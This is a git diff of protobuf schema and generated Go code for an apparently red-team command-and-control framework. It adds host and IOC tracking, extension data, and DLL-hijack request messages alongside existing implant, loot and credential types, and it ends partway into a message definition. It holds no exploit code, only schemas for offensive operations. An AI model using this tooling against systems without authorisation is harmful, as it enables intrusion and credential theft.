@@ -4762,7 +5163,7 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x53, 0x65, 0x73,
0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c,
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x08,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x93, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0xb3, 0x01, 0x0a, 0x0d, 0x55, 0x70, 0x64,
0x61, 0x74, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65,
0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53,
0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
@@ -4771,7 +5172,9 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x6c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65,
0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x6f,
0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05,
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x22, 0x3e,
0x52, 0x0c, 0x50, 0x6f, 0x6c, 0x6c, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1e,
0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x03,
0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x3e,
0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a,
0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e,
0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74,
@@ -4975,29 +5378,77 @@ var file_clientpb_client_proto_rawDesc = []byte{
0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c,
0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03,
0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f,
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70,
0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52,
0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c,
0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55,
0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49,
0x43, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f,
0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08,
0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50,
0x53, 0x10, 0x02, 0x2a, 0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12,
0x0d, 0x0a, 0x09, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13,
0x0a, 0x0f, 0x4c, 0x4f, 0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
0x4c, 0x10, 0x01, 0x2a, 0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44,
0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52,
0x5f, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41,
0x50, 0x49, 0x5f, 0x4b, 0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45,
0x10, 0x03, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b,
0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42,
0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10,
0x02, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f,
0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, 0x03, 0x49, 0x4f, 0x43, 0x12,
0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50,
0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x48, 0x61, 0x73, 0x68, 0x12,
0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x22,
0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61,
0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xa3, 0x02, 0x0a, 0x04, 0x48, 0x6f, 0x73,
0x74, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a,
0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52,
0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x4f, 0x53, 0x56,
0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x4f, 0x53,
0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x18,
0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, 0x47, 0x0a, 0x0d, 0x45, 0x78,
0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x03, 0x28,
0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73,
0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45,
0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
0x61, 0x74, 0x61, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e,
0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79,
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76,
0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69,
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44,
0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x30,
0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, 0x6f,
0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65,
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, 0x73,
0x22, 0xf3, 0x01, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, 0x65,
0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c,
0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, 0x66,
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, 0x0a,
0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18,
0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, 0x4c, 0x6f, 0x63,
0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e,
0x63, 0x65, 0x44, 0x4c, 0x4c, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0c, 0x52, 0x65, 0x66,
0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x61, 0x72,
0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x54, 0x61,
0x72, 0x67, 0x65, 0x74, 0x44, 0x4c, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69,
0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72,
0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71,
0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d,
0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52,
0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3b, 0x0a, 0x09, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a,
0x61, 0x63, 0x6b, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18,
0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62,
0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f,
0x6e, 0x73, 0x65, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72,
0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49,
0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45,
0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45,
0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x2a,
0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c,
0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54,
0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2e,
0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c, 0x4f,
0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f, 0x4f,
0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a, 0x4d,
0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65,
0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41,
0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b, 0x45,
0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d, 0x0a,
0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f,
0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59,
0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a, 0x2d,
0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f,
0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74,
0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70,
0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
@@ -5013,7 +5464,7 @@ func file_clientpb_client_proto_rawDescGZIP() []byte {
}
var file_clientpb_client_proto_enumTypes = make([]protoimpl.EnumInfo, 5)
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 64)
var file_clientpb_client_proto_msgTypes = make([]protoimpl.MessageInfo, 71)
var file_clientpb_client_proto_goTypes = []interface{}{
(OutputFormat)(0), // 0: clientpb.OutputFormat
(StageProtocol)(0), // 1: clientpb.StageProtocol
@@ -5081,17 +5532,24 @@ var file_clientpb_client_proto_goTypes = []interface{}{
(*Credential)(nil), // 63: clientpb.Credential
(*Loot)(nil), // 64: clientpb.Loot
(*AllLoot)(nil), // 65: clientpb.AllLoot
nil, // 66: clientpb.ImplantBuilds.ConfigsEntry
nil, // 67: clientpb.WebsiteAddContent.ContentsEntry
nil, // 68: clientpb.Website.ContentsEntry
(*commonpb.Request)(nil), // 69: commonpb.Request
(*commonpb.Response)(nil), // 70: commonpb.Response
(*commonpb.File)(nil), // 71: commonpb.File
(*IOC)(nil), // 66: clientpb.IOC
(*ExtensionData)(nil), // 67: clientpb.ExtensionData
(*Host)(nil), // 68: clientpb.Host
(*AllHosts)(nil), // 69: clientpb.AllHosts
(*DllHijackReq)(nil), // 70: clientpb.DllHijackReq
(*DllHijack)(nil), // 71: clientpb.DllHijack
nil, // 72: clientpb.ImplantBuilds.ConfigsEntry
nil, // 73: clientpb.WebsiteAddContent.ContentsEntry
nil, // 74: clientpb.Website.ContentsEntry
nil, // 75: clientpb.Host.ExtensionDataEntry
(*commonpb.Request)(nil), // 76: commonpb.Request
(*commonpb.Response)(nil), // 77: commonpb.Response
(*commonpb.File)(nil), // 78: commonpb.File
}
var file_clientpb_client_proto_depIdxs = []int32{
7, // 0: clientpb.ImplantConfig.C2:type_name -> clientpb.ImplantC2
0, // 1: clientpb.ImplantConfig.Format:type_name -> clientpb.OutputFormat
66, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
72, // 2: clientpb.ImplantBuilds.Configs:type_name -> clientpb.ImplantBuilds.ConfigsEntry
0, // 3: clientpb.CompilerTarget.Format:type_name -> clientpb.OutputFormat
10, // 4: clientpb.Compiler.Targets:type_name -> clientpb.CompilerTarget
11, // 5: clientpb.Compiler.CrossCompilers:type_name -> clientpb.CrossCompiler
@@ -5100,46 +5558,52 @@ var file_clientpb_client_proto_depIdxs = []int32{
8, // 8: clientpb.ImplantProfile.Config:type_name -> clientpb.ImplantConfig
17, // 9: clientpb.ImplantProfiles.Profiles:type_name -> clientpb.ImplantProfile
20, // 10: clientpb.Jobs.Active:type_name -> clientpb.Job
69, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
70, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
69, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
70, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
76, // 11: clientpb.NamedPipesReq.Request:type_name -> commonpb.Request
77, // 12: clientpb.NamedPipes.Response:type_name -> commonpb.Response
76, // 13: clientpb.TCPPivotReq.Request:type_name -> commonpb.Request
77, // 14: clientpb.TCPPivot.Response:type_name -> commonpb.Response
6, // 15: clientpb.Sessions.Sessions:type_name -> clientpb.Session
8, // 16: clientpb.GenerateReq.Config:type_name -> clientpb.ImplantConfig
71, // 17: clientpb.Generate.File:type_name -> commonpb.File
69, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
69, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
78, // 17: clientpb.Generate.File:type_name -> commonpb.File
76, // 18: clientpb.MSFReq.Request:type_name -> commonpb.Request
76, // 19: clientpb.MSFRemoteReq.Request:type_name -> commonpb.Request
1, // 20: clientpb.StagerListenerReq.Protocol:type_name -> clientpb.StageProtocol
1, // 21: clientpb.MsfStagerReq.Protocol:type_name -> clientpb.StageProtocol
71, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
78, // 22: clientpb.MsfStager.File:type_name -> commonpb.File
8, // 23: clientpb.GetSystemReq.Config:type_name -> clientpb.ImplantConfig
69, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
76, // 24: clientpb.GetSystemReq.Request:type_name -> commonpb.Request
8, // 25: clientpb.MigrateReq.Config:type_name -> clientpb.ImplantConfig
69, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
69, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
69, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
76, // 26: clientpb.MigrateReq.Request:type_name -> commonpb.Request
76, // 27: clientpb.CreateTunnelReq.Request:type_name -> commonpb.Request
76, // 28: clientpb.CloseTunnelReq.Request:type_name -> commonpb.Request
56, // 29: clientpb.Client.Operator:type_name -> clientpb.Operator
6, // 30: clientpb.Event.Session:type_name -> clientpb.Session
20, // 31: clientpb.Event.Job:type_name -> clientpb.Job
53, // 32: clientpb.Event.Client:type_name -> clientpb.Client
56, // 33: clientpb.Operators.Operators:type_name -> clientpb.Operator
67, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
68, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
73, // 34: clientpb.WebsiteAddContent.Contents:type_name -> clientpb.WebsiteAddContent.ContentsEntry
74, // 35: clientpb.Website.Contents:type_name -> clientpb.Website.ContentsEntry
60, // 36: clientpb.Websites.Websites:type_name -> clientpb.Website
2, // 37: clientpb.Loot.Type:type_name -> clientpb.LootType
3, // 38: clientpb.Loot.CredentialType:type_name -> clientpb.CredentialType
63, // 39: clientpb.Loot.Credential:type_name -> clientpb.Credential
4, // 40: clientpb.Loot.FileType:type_name -> clientpb.FileType
71, // 41: clientpb.Loot.File:type_name -> commonpb.File
78, // 41: clientpb.Loot.File:type_name -> commonpb.File
64, // 42: clientpb.AllLoot.Loot:type_name -> clientpb.Loot
8, // 43: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
57, // 44: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
57, // 45: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
46, // [46:46] is the sub-list for method output_type
46, // [46:46] is the sub-list for method input_type
46, // [46:46] is the sub-list for extension type_name
46, // [46:46] is the sub-list for extension extendee
0, // [0:46] is the sub-list for field type_name
66, // 43: clientpb.Host.IOCs:type_name -> clientpb.IOC
75, // 44: clientpb.Host.ExtensionData:type_name -> clientpb.Host.ExtensionDataEntry
68, // 45: clientpb.AllHosts.Hosts:type_name -> clientpb.Host
76, // 46: clientpb.DllHijackReq.Request:type_name -> commonpb.Request
77, // 47: clientpb.DllHijack.Response:type_name -> commonpb.Response
8, // 48: clientpb.ImplantBuilds.ConfigsEntry.value:type_name -> clientpb.ImplantConfig
57, // 49: clientpb.WebsiteAddContent.ContentsEntry.value:type_name -> clientpb.WebContent
57, // 50: clientpb.Website.ContentsEntry.value:type_name -> clientpb.WebContent
67, // 51: clientpb.Host.ExtensionDataEntry.value:type_name -> clientpb.ExtensionData
52, // [52:52] is the sub-list for method output_type
52, // [52:52] is the sub-list for method input_type
52, // [52:52] is the sub-list for extension type_name
52, // [52:52] is the sub-list for extension extendee
0, // [0:52] is the sub-list for field type_name
}
func init() { file_clientpb_client_proto_init() }
@@ -5880,6 +6344,78 @@ func file_clientpb_client_proto_init() {
return nil
}
}
file_clientpb_client_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*IOC); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*ExtensionData); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Host); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*AllHosts); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DllHijackReq); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
file_clientpb_client_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*DllHijack); i {
case 0:
return &v.state
case 1:
return &v.sizeCache
case 2:
return &v.unknownFields
default:
return nil
}
}
}
type x struct{}
out := protoimpl.TypeBuilder{
@@ -5887,7 +6423,7 @@ func file_clientpb_client_proto_init() {
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_clientpb_client_proto_rawDesc,
NumEnums: 5,
NumMessages: 64,
NumMessages: 71,
NumExtensions: 0,
NumServices: 0,
},
+42
View File
@@ -43,6 +43,7 @@ message Session {
string ProxyURL = 20;
uint32 PollInterval = 21;
bool Burned = 22;
repeated string Extensions = 23;
}
message ImplantC2 {
@@ -84,6 +85,7 @@ message ImplantConfig {
// c2
repeated ImplantC2 C2 = 10;
repeated string CanaryDomains = 11;
string ConnectionStrategy = 39;
bool LimitDomainJoined = 20;
string LimitDatetime = 21;
@@ -276,6 +278,7 @@ message UpdateSession {
string Name = 2;
int32 ReconnectInterval = 3;
int32 PollInterval = 4;
repeated string Extensions = 5;
}
message GenerateReq {
@@ -498,3 +501,42 @@ message Loot {
message AllLoot {
repeated Loot Loot = 1;
}
// [ Hosts ] ----------------------------------------
message IOC {
string Path = 1;
string FileHash = 2;
string ID = 3;
}
message ExtensionData {
string Output = 1;
}
message Host {
string Hostname = 1;
string HostUUID = 2;
string OSVersion = 3;
repeated IOC IOCs = 4;
map<string, ExtensionData> ExtensionData = 5;
}
message AllHosts {
repeated Host Hosts = 1;
}
// [ Dll Hijack ] ----------------------------------------
message DllHijackReq {
string ReferenceDLLPath = 1;
string TargetLocation = 2;
bytes ReferenceDLL = 3;
bytes TargetDLL = 4;
string ProfileName = 5;
commonpb.Request Request = 9;
}
message DllHijack {
